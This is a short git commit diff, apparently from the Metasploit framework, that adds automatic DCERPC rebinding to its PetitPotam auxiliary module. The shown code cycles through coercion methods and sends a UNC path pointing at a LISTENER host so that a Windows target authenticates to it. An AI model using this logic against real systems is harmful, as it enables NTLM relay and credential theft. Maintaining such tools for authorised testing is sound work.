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Automatically rebind on STATUS_PIPE_DISCONNECTED

This commit is contained in:
Spencer McIntyre 2023-02-21 15:47:01 -05:00
parent fa3baa40e6
commit 6dbf22a5e7
1 changed files with 13 additions and 5 deletions
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18
modules/auxiliary/scanner/dcerpc/petitpotam.rb
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@ -82,15 +82,15 @@ class MetasploitModule < Msf::Auxiliary
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
handle = dcerpc_handle(
@handle = dcerpc_handle(
handle_args[:uuid],
handle_args.fetch(:version, '1.0'),
handle_args.fetch(:protocol, 'ncacn_np'),
handle_args[:opts]
)
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
vprint_status("Binding to #{@handle} ...")
dcerpc_bind(@handle)
vprint_status("Bound to #{@handle} ...")
if datastore['METHOD'] == 'Automatic'
methods = METHODS
@ -104,7 +104,15 @@ class MetasploitModule < Msf::Auxiliary
method,
file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
)
next if response.nil?
if response.nil?
unless method == methods.last
# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try
vprint_status("Rebinding to #{@handle} ...")
dcerpc_bind(@handle)
end
next
end
error_status = response.error_status.to_i
win32_error = ::WindowsError::Win32.find_by_retval(error_status).first